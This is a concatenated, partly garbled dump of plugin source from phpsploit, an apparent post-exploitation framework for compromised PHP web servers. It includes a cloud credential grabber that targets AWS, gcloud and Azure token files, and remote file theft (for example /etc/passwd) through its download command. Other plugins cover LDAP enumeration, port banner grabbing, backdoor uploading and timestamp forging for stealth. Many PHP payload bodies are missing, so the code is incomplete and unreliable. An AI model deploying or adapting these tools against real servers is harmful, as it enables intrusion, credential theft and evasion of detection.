environ['LDAP'] = objects.VarContainer(title="LDAP settings") environ['LDAP']['HOST'] = plugin.argv[2] environ['LDAP']['LOGIN'] = plugin.argv[3] if len(plugin.argv) > 3 else " " environ['LDAP']['PASS'] = plugin.argv[4] if len(plugin.argv) > 4 else " " environ['LDAP']['VERSION'] = 3 sys.exit(0) # check and load MYSQL_CRED environment variable if "LDAP" not in environ: sys.exit("Not connected to any server, use `ldap connect` before") # List node if plugin.argv[1].lower() == "list": if len(plugin.argv) < 3: sys.exit("Missing parameter") payload = server.payload.Payload("list.php") payload.update(environ['LDAP']) payload['BASE_DN'] = plugin.argv[2] response = payload.send() if response['count'] == 0: print('No result') sys.exit(0) for k, row in response.items(): if k == 'count': continue print_node(row) pass # Search node if plugin.argv[1].lower() == "search": if len(plugin.argv) < 4: sys.exit("Missing parameter") payload = server.payload.Payload("search.php") payload.update(environ['LDAP']) payload['BASE_DN'] = plugin.argv[2] payload['SEARCH'] = plugin.argv[3] response = payload.send() if response['count'] == 0: print('No result') sys.exit(0) for k, row in response.items(): if k == 'count': continue print_node(row) pass sys.exit(0) phpsploit-3.2+git20240329.aea961d/plugins/active_directory/ldap/search.php000066400000000000000000000024351460155776400260770ustar00rootroot00000000000000 &$val) { if(!is_array($val)) { if(!ctype_print($val)) { $val = base64_encode($val); } } else { clearNode($val); } } } clearNode($datas); return $datas; ?>phpsploit-3.2+git20240329.aea961d/plugins/credentials/000077500000000000000000000000001460155776400221335ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/credentials/cloudcredgrab/000077500000000000000000000000001460155776400247335ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/credentials/cloudcredgrab/payload.php000066400000000000000000000024141460155776400270760ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/credentials/cloudcredgrab/plugin.py000066400000000000000000000035261460155776400266110ustar00rootroot00000000000000"""Cloud Credential Hunter-Grabber SYNOPSIS: cloudcredgrab [-u ] [aws|google|azure] DESCRIPTION: Hunts for cloud credentials cached on the system by looking in user's directory EXAMPLES: > cloudcredgrab - look for all cloud credentials in all user directories > cloudcredgrab -u www aws - look for AWS credentials in www's user files AUTHOR: Jose """ import itertools from api import plugin from api import server from api import environ from ui.color import colorize import plugin_args opt = plugin_args.parse(plugin.argv[1:]) UNIX_FILES = {'aws': ['.aws/credentials', ], 'google': ['.config/gcloud/legacy_credentials', '.config/gcloud/credentials.db', '.config/gcloud/access_tokens.db'], 'azure': ['.azure/accessTokens.json', '.azure/azureProfile.json']} WINDOWS_FILES = {'aws': [".aws\\credentials",], 'google': ["\\AppData\\Roaming\\gcloud\\legacy_credentials", "\\AppData\\Roaming\\gcloud\\credentials.db", "\\AppData\\Roaming\\gcloud\\access_tokens.db"], 'azure': [".azure\\accessTokens.json", ".azure\\azureProfile.json"]} if environ['PLATFORM'].startswith("win"): FILES = WINDOWS_FILES else: FILES = UNIX_FILES if opt["platform"]: SEARCH_FOR = FILES[opt["platform"]] else: SEARCH_FOR = list(itertools.chain.from_iterable(FILES.values())) # Send payload payload = server.payload.Payload("payload.php") payload['USER'] = opt['user'] or "all" payload['SEARCH_FOR'] = SEARCH_FOR result = payload.send() if len(results) < 1: print(colorize("%Red", "[-] No results found")) else: for filename in results: print(colorize("%Green", "[+] Found {0}".format(filename))) phpsploit-3.2+git20240329.aea961d/plugins/credentials/cloudcredgrab/plugin_args.py000066400000000000000000000011241460155776400276150ustar00rootroot00000000000000import argparse import ui.output def help_format_cloudcredgrab(prog): kwargs = dict() kwargs['width'] = ui.output.columns() kwargs['max_help_position'] = 34 format = argparse.HelpFormatter(prog, **kwargs) return (format) def parse(args): parser = argparse.ArgumentParser(prog="cloudcredgrab", add_help=False, usage=argparse.SUPPRESS) parser.formatter_class = help_format_cloudcredgrab parser.add_argument('-u', '--username', metavar="", default=None) parser.add_argument('platform') options = vars(parser.parse_args(args)) phpsploit-3.2+git20240329.aea961d/plugins/file_system/000077500000000000000000000000001460155776400221615ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/cat/000077500000000000000000000000001460155776400227305ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/cat/payload.php000066400000000000000000000014351460155776400250750ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/cat/plugin.py000066400000000000000000000017371460155776400246100ustar00rootroot00000000000000r"""Print a file content on standard output SYNOPSIS: cat DESCRIPTION: Print REMOTE-FILE content on standard output. LIMITATIONS: Unlike the standard GNU's 'cat' tool, multiple files cat is not supported. EXAMPLES: > cat ../includes/connect.inc.php - Display the connect.inc.php's content. > cat "C:\Users\granny\Desktop\bank account.TXT" - Don't be evil with grannies! - As gannies use spaces in file names, the path must be quoted to be parsed as a single argument. AUTHOR: nil0x42 """ import sys import base64 from core import encoding from api import plugin from api import server if len(plugin.argv) != 2: sys.exit(plugin.help) relative_path = plugin.argv[1] absolute_path = server.path.abspath(relative_path) payload = server.payload.Payload("payload.php") payload['FILE'] = absolute_path response = payload.send() data = encoding.decode(base64.b64decode(response)) print(data) phpsploit-3.2+git20240329.aea961d/plugins/file_system/cd/000077500000000000000000000000001460155776400225475ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/cd/payload.php000066400000000000000000000010471460155776400247130ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/cd/plugin.py000066400000000000000000000027601460155776400244240ustar00rootroot00000000000000r"""Change directory SYNOPSIS: cd [] DESCRIPTION: Change current working directory of phpsploit target. - This plugin checks if the given path is remotely reachable, then changes $PWD environment variable if no errors were found. - If run without argument, $HOME env var is used as new current working directory. EXAMPLES: > cd .. - Go to the directory below > cd "C:\Program Files\" - Go to "Program Files" directory > cd ~ - Move the the user's HOME directory ENVIRONMENT: * PWD The current remote working directory WARNING: - Manual edition of the $PWD environment variable without using this plugin is usually a bad idea, because we take the risk to set it to an invalid location, without the checks done by this plugin. - Therefore, in a few use cases, manual edition of the $PWD variable is the only option. AUTHOR: nil0x42 """ import sys from api import plugin from api import server from api import environ if len(plugin.argv) > 2: sys.exit(plugin.help) if len(plugin.argv) == 2: relative_path = plugin.argv[1] else: relative_path = environ['HOME'] absolute_path = server.path.abspath(relative_path) payload = server.payload.Payload("payload.php") payload['DIR'] = absolute_path response = payload.send() if response != "ok": sys.exit("Unexpected response: %r" % response) # change $PWD phpsploit environment variable environ['PWD'] = absolute_path phpsploit-3.2+git20240329.aea961d/plugins/file_system/chmod/000077500000000000000000000000001460155776400232535ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/chmod/payload.php000066400000000000000000000003741460155776400254210ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/chmod/plugin.py000066400000000000000000000024721460155776400251300ustar00rootroot00000000000000r"""Change file mode bits SYNOPSIS: chmod [MODE] DESCRIPTION: The mode parameter consists of three octal number components specifying access restrictions for the owner, the user group in which the owner is in, and to everybody else in this order. One component can be computed by adding up the needed permissions for that target user base. Number 1 means that you grant execute rights, number 2 means that you make the file writeable, number 4 means that you make the file readable. Add up these numbers to specify needed rights. You can also read more about modes on Unix systems with 'man chmod'. EXAMPLES: > chmod 755 ../cgi-bin/test.cgi - Set chmod 755 to test.cgi > chmod 4222 /tmp/sploit - Grant execution and setuid bit on file AUTHOR: nil0x42 """ import sys from api import plugin from api import server if len(plugin.argv) != 3: sys.exit(plugin.help) try: mode = int(plugin.argv[1], 8) assert mode < 0o10000 except: sys.exit("invalid mode: '%s'" % plugin.argv[1]) relative_path = plugin.argv[2] absolute_path = server.path.abspath(relative_path) payload = server.payload.Payload("payload.php") payload['FILE'] = absolute_path payload['MODE'] = mode response = payload.send() assert response == 'ok' phpsploit-3.2+git20240329.aea961d/plugins/file_system/cp/000077500000000000000000000000001460155776400225635ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/cp/payload.php000066400000000000000000000036741460155776400247370ustar00rootroot00000000000000 OPTIONS: -f overwrite REMOTE-DESTINATION without user confirmation. DESCRIPTION: Copy a remote file to another remote destination. - REMOTE-FILE must be readable. - REMOTE-DESTINATION must be a writable file or directory. - If REMOTE-DESTINATION is a directory, REMOTE-FILE will be copied into it, preserving original file name. - Unless '-f' option has been provided, user confirmation is needed to overwrite REMOTE-DESTINATION (if it already exists). LIMITATIONS: Unlike the standard GNU's 'cp' tool, recursive directory and multiple file copy are not available. EXAMPLES: > cp -f exploit.php ../images/archive/IMG0043.PHP - Copy an exploit to a stealth location, force copy. > cp \Bach\LOG\ex191213.zip C:\intepub\wwwroot\x.zip - Copy this interesting file to a web accessible path. AUTHOR: nil0x42 """ import sys from api import plugin from api import server argc = len(plugin.argv) if argc not in [3, 4]: sys.exit(plugin.help) payload = server.payload.Payload("payload.php") payload['FORCE'] = 0 src_arg, dst_arg, arglen = [1, 2, argc] if plugin.argv[1] == '-f': payload['FORCE'] = 1 src_arg, dst_arg, arglen = [2, 3, (argc - 1)] if arglen != 3: sys.exit(plugin.help) payload['SRC'] = server.path.abspath(plugin.argv[src_arg]) payload['DST'] = server.path.abspath(plugin.argv[dst_arg]) src, dst = payload.send() print("Copy complete: '%s' -> '%s'" % (src, dst)) phpsploit-3.2+git20240329.aea961d/plugins/file_system/download/000077500000000000000000000000001460155776400237705ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/download/payload.php000066400000000000000000000010731460155776400261330ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/download/plugin.py000066400000000000000000000056641460155776400256530ustar00rootroot00000000000000r"""Download a remote file SYNOPSIS: download [-f] [] OPTIONS: -f overwrite LOCAL-PATH without user confirmation. DESCRIPTION: Download a remote file to your local system. - REMOTE-FILE must be readable. - LOCAL-PATH must be a writable file or directory. - If LOCAL-PATH is a directory, REMOTE-FILE will be downloaded into it, preserving original file name. - if LOCAL-PATH is not provided, REMOTE-FILE is downloaded to attacker's current working directory (which can be known with `lrun pwd` command). - Unless '-f' option has been provided, user confirmation is needed to overwrite LOCAL-PATH (if it already exists). LIMITATIONS: Recursive directory and multiple file downloads are not available. EXAMPLES: > download C:\boot.ini /tmp/pentest/ - Download the remote boot.ini file into your local dir > download -f /etc/passwd ./hacked-etcpasswd.txt - Download the current remote passwd file and force copy > download /srv/www/inc/sql.php - Download the sql.php file to the current local directory AUTHOR: nil0x42 """ import sys import os import base64 import utils import ui.input from datatypes import Path from api import plugin from api import server if not 2 <= len(plugin.argv) <= 4: sys.exit(plugin.help) if plugin.argv[1] == "-f": force = True arg1 = 2 arg2 = 3 arglen = len(plugin.argv) - 1 else: force = False arg1 = 1 arg2 = 2 arglen = len(plugin.argv) relpath = plugin.argv[arg1] if arglen == 3: local_relpath = plugin.argv[arg2] else: local_relpath = os.getcwd() abspath = server.path.abspath(relpath) local_abspath = utils.path.truepath(local_relpath) local_dirname = local_abspath local_basename = server.path.basename(abspath) if not os.path.isdir(local_dirname): local_dirname = os.path.dirname(local_dirname) if os.path.isdir(local_dirname): local_basename = os.path.basename(local_abspath) else: sys.exit("%s: Invalid local directory" % local_dirname) try: Path(local_dirname, mode='w') except ValueError: sys.exit("%s: Local directory not writable" % local_dirname) local_abspath = os.path.join(local_dirname, local_basename) if not force and os.path.exists(local_abspath): if os.path.isfile(local_abspath): question = "Local destination %s already exists, overwrite it ?" if ui.input.Expect(False)(question % local_abspath): sys.exit("File transfer aborted") else: sys.exit("Local destination %s already exists" % local_abspath) payload = server.payload.Payload("payload.php") payload['FILE'] = abspath response = payload.send() file = Path(local_abspath) try: file.write(base64.b64decode(response), bin_mode=True) except ValueError as err: sys.exit("Couldn't download file to %s: %s" % (local_abspath, err)) print("[*] Download complete: %s -> %s" % (abspath, local_abspath)) phpsploit-3.2+git20240329.aea961d/plugins/file_system/edit/000077500000000000000000000000001460155776400231065ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/edit/plugin.py000066400000000000000000000036131460155776400247610ustar00rootroot00000000000000r"""Edit a remote file with local text editor SYNOPSIS: edit DESCRIPTION: Open and Edit REMOTE-FILE content with your favorite editor. - After editing the file (and only if it changed), the plugin uploads the new file content to the remote server. - After applying changes to remote file, the plugin automatically restores it's original timestamp to improve stealth. * Change default phpsploit text editor (vim rocks): > set EDITOR "vim" EXAMPLES: > edit ../includes/connect.inc.php - Open remote file within local text EDITOR AUTHOR: nil0x42 """ import sys import base64 from api import plugin from api import server from datatypes import Path if len(plugin.argv) != 2: sys.exit(plugin.help) absolute_path = server.path.abspath(plugin.argv[1]) path_filename = server.path.basename(absolute_path) reader = server.payload.Payload("reader.php") reader['FILE'] = absolute_path # send the crafted payload to get remote file contents reader_response = reader.send() file = Path(filename=path_filename) if reader_response == "NEW_FILE": file_mtime = None print("[*] Creating new file: %s" % absolute_path) else: # writting bytes() obj to file in binary mode file_mtime, file_data = reader_response file.write(base64.b64decode(file_data), bin_mode=True) modified = file.edit() if not modified: if reader_response == "NEW_FILE": sys.exit("File creation aborted") else: sys.exit("The file was not modified") writer = server.payload.Payload("writer.php") writer['FILE'] = absolute_path writer['DATA'] = base64.b64encode(file.read(bin_mode=True)).decode() writer['MTIME'] = file_mtime writer_response = writer.send() if writer_response == "MTIME_FAILED": print("[-] %s: Could not set MTIME to %r" % (plugin.argv[0], file_mtime)) print("[*] File correctly written at %s" % absolute_path) phpsploit-3.2+git20240329.aea961d/plugins/file_system/edit/reader.php000066400000000000000000000012551460155776400250640ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/edit/writer.php000066400000000000000000000011031460155776400251260ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/ls/000077500000000000000000000000001460155776400225775ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/ls/payload.php000066400000000000000000000035761460155776400247540ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/ls/plugin.py000066400000000000000000000066531460155776400244610ustar00rootroot00000000000000r"""List directory contents SYNOPSIS: ls [] ... DESCRIPTION: List the contents of REMOTE-PATH. - If REMOTE-PATH does not exist, its `basename` is considered a regex pattern, allowing basename wildcards. # Example: list all .txt files in /tmp: > ls /tmp/*.txt - Ending the argument string with a path separator (for example, '/tmp/' instead of '/tmp') explicitly indicates that the given path is the exact directory location you want to list, so regex pattern matching is disabled. NOTE: If the plugin receives multiple arguments, each one will be listed in the given order. WARNING: The 'ls' plugin gives permission informations about each listed file, in unix drwxrwxrwx mode. If common unix permissions are not available, relative access permissions for current user are indicated in 'drwx' format: * 'd' if is a directory * 'r' if readable * 'w' if writable * 'x' if executable EXAMPLES: > ls - List any element in the current directory > ls ~ - List any element in the user's home directory > ls .. /home - List the path above the current working directory - After that, list the '/home' directory. > ls D:\*.ini - List any element in D:\ whose names end with '.ini' MAINTAINERS: nil0x42 Wannes Rombouts """ import sys from ui.color import colorize, decolorize from api import plugin from api import server from api import environ status = 0 def abort(msg): global status status |= 1 print("[-] %s: %s" % (plugin.name, msg)) for path in plugin.argv[1:] or [environ['PWD']]: absolute_path = server.path.abspath(path) lister = server.payload.Payload("payload.php") lister['TARGET'] = absolute_path lister['SEPARATOR'] = server.path.separator(absolute_path) lister['PARSE'] = 1 if absolute_path == environ['HOME'] or path.endswith(environ['PATH_SEP']): lister['PARSE'] = 0 try: response = lister.send() except server.payload.PayloadError as e: abort(e.args[0]) continue target, regex, lines = response[0], response[1], response[2] # if at least one owner/group is not '?', use unix-like formatter if any((x[2] + x[3]) != '??' for x in lines): rows_hdr = ["Mode", "Owner", "Group", "Size", "Last Modified", "Name"] rows = ([l[0], l[2], l[3], l[4], l[5], l[6]] for l in lines) # otherwise, use windows-like formatter else: rows_hdr = ["Mode", "Size", "Last Modified", "Name"] rows = ([x[1], x[4], x[5], x[6]] for x in lines) # format rows the right way rows = sorted(rows, key=(lambda elem: elem[-1])) rows.insert(0, rows_hdr) rows.insert(1, [("-" * len(elem)) for elem in rows_hdr]) # format and display output title header = "Listing: %s" % target if regex: header += " (matching r'%s')" % colorize("%White", regex) print("\n" + header + "\n" + ("=" * len(decolorize(header))) + "\n") widths = [max(map(len, col)) for col in zip(*rows)] for i, row in enumerate(rows): if i > 0: if row[0].startswith('d'): row[-1] = colorize("%BoldBlue", row[-1]) elif not row[0].startswith('-'): row[-1] = colorize("%BoldPink", row[-1]) print(" ".join((val.ljust(width) for val, width in zip(row, widths)))) print() sys.exit(status) phpsploit-3.2+git20240329.aea961d/plugins/file_system/mkdir/000077500000000000000000000000001460155776400232675ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/mkdir/parent.php000066400000000000000000000011401460155776400252650ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/mkdir/payload.php000066400000000000000000000007051460155776400254330ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/mkdir/plugin.py000066400000000000000000000027761460155776400251530ustar00rootroot00000000000000"""Create directory SYNOPSIS: mkdir [-p] OPTIONS: -p no error if existing, make parent directories as needed. DESCRIPTION: The 'mkdir' plugin creates REMOTE-DIRECTORY. It reports an error if it already exists. - Unless '-p' option is provided, parent directory must exist. LIMITATIONS: Unlike GNU's mkdir core util, this plugin does not support multiple path arguments. EXAMPLES: > mkdir includes - Create the 'includes' directory from current location > mkdir /srv/www/data/img/thumb/ - Create the 'thumb' directory if it's parent exists > mkdir /srv/www/data/img/thumb/ - Create the 'thumb' directory even if parent don't exist > mkdir -p /var/www/a/b/c/d/e/f/g/h/ - Create 'h/' directory, and parent directories as needed. AUTHOR: nil0x42 """ import sys from api import plugin from api import server from api import environ if len(plugin.argv) == 2 and plugin.argv[1] != '-p': relpath = plugin.argv[1] elif len(plugin.argv) == 3 and plugin.argv[1] == '-p': relpath = plugin.argv[2] else: sys.exit(plugin.help) abspath = server.path.abspath(relpath) if plugin.argv[1] == '-p': payload = server.payload.Payload("parent.php") drive, path = server.path.splitdrive(abspath) payload['DRIVE'] = drive payload['PATH_ELEMS'] = [x for x in path.split(environ['PATH_SEP']) if x] else: payload = server.payload.Payload("payload.php") payload['DIR'] = abspath payload.send() phpsploit-3.2+git20240329.aea961d/plugins/file_system/pwd/000077500000000000000000000000001460155776400227535ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/pwd/plugin.py000066400000000000000000000005741460155776400246310ustar00rootroot00000000000000"""Print working directory SYNOPSIS: pwd DESCRIPTION: Print the absolute path name of current/working remote directory on target server. * PASSIVE PLUGIN: No requests are sent to server, as current directory is known by $PWD environment variable (`env PWD`) AUTHOR: nil0x42 """ from api import environ print(environ['PWD']) phpsploit-3.2+git20240329.aea961d/plugins/file_system/rm/000077500000000000000000000000001460155776400225775ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/rm/plugin.py000066400000000000000000000017421460155776400244530ustar00rootroot00000000000000"""Remove a file SYNOPSIS: rm DESCRIPTION: Remove REMOTE FILE from server. LIMITATIONS: Unlike the standard GNU's 'rm' tool, recursive and multiple file removal are not available. EXAMPLES: > rm pdfs/r57.php - Remove "./pdfs/r75.php" file from remote server AUTHOR: nil0x42 """ import sys from api import plugin from api import server if len(plugin.argv) not in [2, 3]: sys.exit(plugin.help) recurse = 0 if plugin.argv[1] == "-r": if len(plugin.argv) == 2: sys.exit(plugin.help) recurse = 1 rel_path = plugin.argv[2] else: if len(plugin.argv) == 3: sys.exit(plugin.help) rel_path = plugin.argv[1] abs_path = server.path.abspath(rel_path) dirname = server.path.dirname(abs_path) basename = server.path.basename(abs_path) if recurse: sys.exit("Recursive mode is not yet available.") payload = server.payload.Payload("single.php") payload["FILE"] = abs_path payload.send() phpsploit-3.2+git20240329.aea961d/plugins/file_system/rm/single.php000066400000000000000000000005311460155776400245700ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/rmdir/000077500000000000000000000000001460155776400232765ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/rmdir/payload.php000066400000000000000000000007271460155776400254460ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/rmdir/plugin.py000066400000000000000000000006721460155776400251530ustar00rootroot00000000000000"""Remove empty directory SYNOPSIS: rmdir DESCRIPTION: Remove REMOTE-DIRECTORY if it is empty. AUTHOR: nil0x42 """ import sys from api import plugin from api import server if len(plugin.argv) != 2: sys.exit(plugin.help) rel_path = plugin.argv[1] abs_path = server.path.abspath(rel_path) payload = server.payload.Payload("payload.php") payload["DIR"] = abs_path payload.send() phpsploit-3.2+git20240329.aea961d/plugins/file_system/stat/000077500000000000000000000000001460155776400231345ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/stat/payload.php000066400000000000000000000026771460155776400253120ustar00rootroot00000000000000 '" . $link_path . "'"; if ($follow_links && is_link($path)) { $path = realpath($path); if (!@file_exists($path)) return error("%s: No such file or directory", $PHPSPLOIT['FILE']); } // r['stat'] @clearstatcache(); if (!($r = @lstat($path))) return error("%s: Permission denied", $PHPSPLOIT['FILE']); if (is_dir($path)) { $r["readable"] = dirAccess($path, 'r') ? "Yes" : "No"; $r["writable"] = dirAccess($path, 'w') ? "Yes" : "No"; } else { $r["readable"] = fileAccess($path, 'r') ? "Yes" : "No"; $r["writable"] = fileAccess($path, 'w') ? "Yes" : "No"; } $r["file_repr"] = $file_repr; $r["atime"] = date("Y-m-d H:i:s O", $r["atime"]); $r["mtime"] = date("Y-m-d H:i:s O", $r["mtime"]); $r["ctime"] = date("Y-m-d H:i:s O", $r["ctime"]); if (can_change_mtime($path)) $r["mtime"] .= " [MUTABLE!]"; else $r["mtime"] .= " [IMMUTABLE]"; if (extension_loaded("posix")) { $tmp = posix_getpwuid($r["uid"]); $r["posix_pwuid"] = $tmp["name"]; $tmp = posix_getgrgid($r["gid"]); $r["posix_grgid"] = $tmp["name"]; } return $r; ?> phpsploit-3.2+git20240329.aea961d/plugins/file_system/stat/plugin.py000066400000000000000000000056261460155776400250150ustar00rootroot00000000000000"""Display file status SYNOPSIS: stat [-L] OPTIONS: -L follow symbolic links DESCRIPTION: Get remote file status informations AUTHOR: nil0x42 """ import sys import stat from api import plugin from api import server from api import environ from ui.color import colorize from datatypes import ByteSize def println(name, content): print(colorize("%Bold", "{:>15}: ".format(name)) + str(content)) def device_repr(devno): return hex(devno)[2:] + 'h/' + str(devno) + 'd' def mode_perms(mode): octal = oct(stat.S_IMODE(mode))[2:].zfill(4) literal = stat.filemode(mode) return "%s (%s)" % (octal, literal) def mode_filetype(mode): mode = stat.S_IFMT(mode) dic = { stat.S_ISFIFO: "fifo file", stat.S_ISCHR: "character device", stat.S_ISDIR: "directory", stat.S_ISBLK: "block device", stat.S_ISREG: "regular file", stat.S_ISLNK: "symbolic link", stat.S_ISSOCK: "socket", stat.S_ISDOOR: "door", } for test_func, name in dic.items(): if test_func(mode): return name return "???" def is_device(mode): mode = stat.S_IFMT(mode) return stat.S_ISCHR(mode) or stat.S_ISBLK(mode) def dev_name(rdev): major = ((rdev >> 8) & 0xfff) | ((rdev >> 32) & ~0xfff) minor = (rdev & 0xff) | ((rdev >> 12) & ~0xff) return "%s,%s" % (major, minor) if len(plugin.argv) == 2: follow_links = False relative_path = plugin.argv[1] elif len(plugin.argv) == 3 and plugin.argv[1] == '-L': follow_links = True relative_path = plugin.argv[2] else: sys.exit(plugin.help) absolute_path = server.path.abspath(relative_path) # FIX: diferenciate /bin/ from /bin for interpreting symlinks on linux if not environ['PLATFORM'].startswith("win"): if not absolute_path.endswith("/") and relative_path.endswith("/"): absolute_path += "/" payload = server.payload.Payload("payload.php") payload['FILE'] = absolute_path payload['FOLLOW_LINKS'] = follow_links r = payload.send() println("File Name", r["file_repr"]) println("File Size", ByteSize(r["size"])) if r["blocks"] != -1: println("Blocks of 512b", r["blocks"]) if r["blksize"] != -1: println("I/O Block Size", r["blksize"]) println("File Type", mode_filetype(r["mode"])) if r["ino"] != 0: println("Inode Number", r["ino"]) println("Number of Links", r["nlink"]) println("Device", r["dev"]) if is_device(r["mode"]): println("Device Name", dev_name(r["rdev"])) if "posix_pwuid" in r.keys(): println("Access Mode", mode_perms(r["mode"])) println("UID Owner", "%d (%s)" % (r["uid"], r["posix_pwuid"])) println("GID Owner", "%d (%s)" % (r["gid"], r["posix_grgid"])) println("Readable", r["readable"]) println("Writable", r["writable"]) println("Accessed", r["atime"]) println("Modified", r["mtime"]) println("Changed", r["ctime"]) phpsploit-3.2+git20240329.aea961d/plugins/file_system/touch/000077500000000000000000000000001460155776400233035ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/touch/payload.php000066400000000000000000000007511460155776400254500ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/touch/plugin.py000066400000000000000000000032601460155776400251540ustar00rootroot00000000000000"""Change file timestamps SYNOPSIS: touch [OPTION]... OPTIONS: -t use YYYY[-mm[-dd[ HH[:MM[:SS]]]]] instead of current time NOTE: If partially defined (e.g: yyyy/mm only), other values will be randomly chosen, because random values are always less suspicious than 00:00:00 -r use this remote file's times instead of current time DESCRIPTION: Update the access and modification times of REMOTE-FILE to the current time. If REMOTE-FILE does not exist, it is created empty. EXAMPLES: > touch file.txt - Set file atime/mtime to current time > touch -t '2012/12/21 23:59:59' file.txt - Set file atime/mtime to Dec 21 23:59:59 2012 > touch -t '2015' file.txt - Set file atime/mtime to a random date in 2015 > touch -r old.php new.php - Set `new.php`'s times to same values as `old.php` AUTHOR: nil0x42 """ import sys import utils from api import plugin from api import server timestamp = None reference = None if len(plugin.argv) == 2: relative_path = plugin.argv[1] elif len(plugin.argv) == 4 and plugin.argv[1] == '-t': timestamp = utils.time.get_smart_date(plugin.argv[2]) relative_path = plugin.argv[3] elif len(plugin.argv) == 4 and plugin.argv[1] == '-r': reference = server.path.abspath(plugin.argv[2]) relative_path = plugin.argv[3] else: sys.exit(plugin.help) absolute_path = server.path.abspath(relative_path) payload = server.payload.Payload("payload.php") payload['FILE'] = absolute_path payload['TIME'] = timestamp payload['REF'] = reference response = payload.send() assert response == 'OK' phpsploit-3.2+git20240329.aea961d/plugins/file_system/upload/000077500000000000000000000000001460155776400234455ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/file_system/upload/payload.php000066400000000000000000000020721460155776400256100ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/file_system/upload/plugin.py000066400000000000000000000061711460155776400253220ustar00rootroot00000000000000"""Upload a file SYNOPSIS: upload [-f] [] OPTIONS: -f Overwrite destination without confirmation if it already exists. DESCRIPTION: Upload a local file to the remote server. - LOCAL-FILE must be readable. - REMOTE-DESTINATION must be a writable file or directory. - If REMOTE-DESTINATION is a directory, LOCAL-FILE will be uploaded into it, preserving original file name. - If REMOTE-DESTINATION is not provided, LOCAL-FILE is uploaded to remote current working directory (which can be known with the `pwd` command). - Unless '-f' option has been provided, user confirmation is needed to overwrite REMOTE-DESTINATION (if it already exists). NOTE: If the user confirms REMOTE-DESTINATION overwrite, another HTTP request will be sent to upload the file. LIMITATIONS: Recursive directory and multiple file uploads are not available. EXAMPLES: > upload /data/backdoors/r75.php /var/www/images/ - Upload your local r57.php file to the remote images dir > upload -f /tmp/logo-gimped.png /srv/www/img/logo.png - Overwrite the remote logo with your own without confirm > upload C:\\Users\\blackhat\\index.php - Upload your index.php to the remote server's current working directory. If your location is a web root path which already contains an index.php, then you must answer to the confirmation request. AUTHOR: nil0x42 """ import sys import os import base64 import utils import ui.input from api import plugin from api import server # parse arguments if not 2 <= len(plugin.argv) <= 4: sys.exit(plugin.help) if plugin.argv[1] == "-f": force = True arg1 = 2 arg2 = 3 arglen = len(plugin.argv) - 1 else: force = False arg1 = 1 arg2 = 2 arglen = len(plugin.argv) if arglen == 3: relpath = plugin.argv[arg2] else: relpath = server.path.getcwd() abspath = server.path.abspath(relpath) local_relpath = plugin.argv[arg1] local_abspath = utils.path.truepath(local_relpath) local_basename = os.path.basename(local_abspath) # check for errors if not os.path.exists(local_abspath): sys.exit("Can't upload %s: No such file or directory" % local_abspath) if not os.path.isfile(local_abspath): sys.exit("Can't upload %s: Not a file" % local_abspath) try: data = open(local_abspath, 'rb').read() except OSError as e: sys.exit("Can't upload %s: %s" % (e.filename, e.strerror)) # send the payload (twice if needed) payload = server.payload.Payload("payload.php") payload['TARGET'] = abspath payload['NAME'] = local_basename payload['DATA'] = base64.b64encode(data) payload['FORCE'] = force for iteration in [1, 2]: if iteration == 2: payload['FORCE'] = True status, uploaded_file = payload.send() if status == 'KO': question = "Remote destination %s already exists, overwrite it ?" if ui.input.Expect(False)(question % uploaded_file): sys.exit("File transfer aborted") else: continue print("[*] Upload complete: %s -> %s" % (local_abspath, uploaded_file)) sys.exit(0) phpsploit-3.2+git20240329.aea961d/plugins/network/000077500000000000000000000000001460155776400213275ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/network/bannergrab/000077500000000000000000000000001460155776400234305ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/network/bannergrab/payload.php000066400000000000000000000012621460155776400255730ustar00rootroot00000000000000$timeout, 'usec'=>0)); socket_set_option($sock, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$timeout, 'usec'=>0)); if (@socket_connect($sock, $IP, $port)) { socket_recv($sock, $buffer, 1024, 0); $results[] = array($port, "OPEN", $buffer); } else { $results[] = array($port, "CLOSED", ""); } socket_close($sock); } print_r(json_encode($results)); return $result; ?> 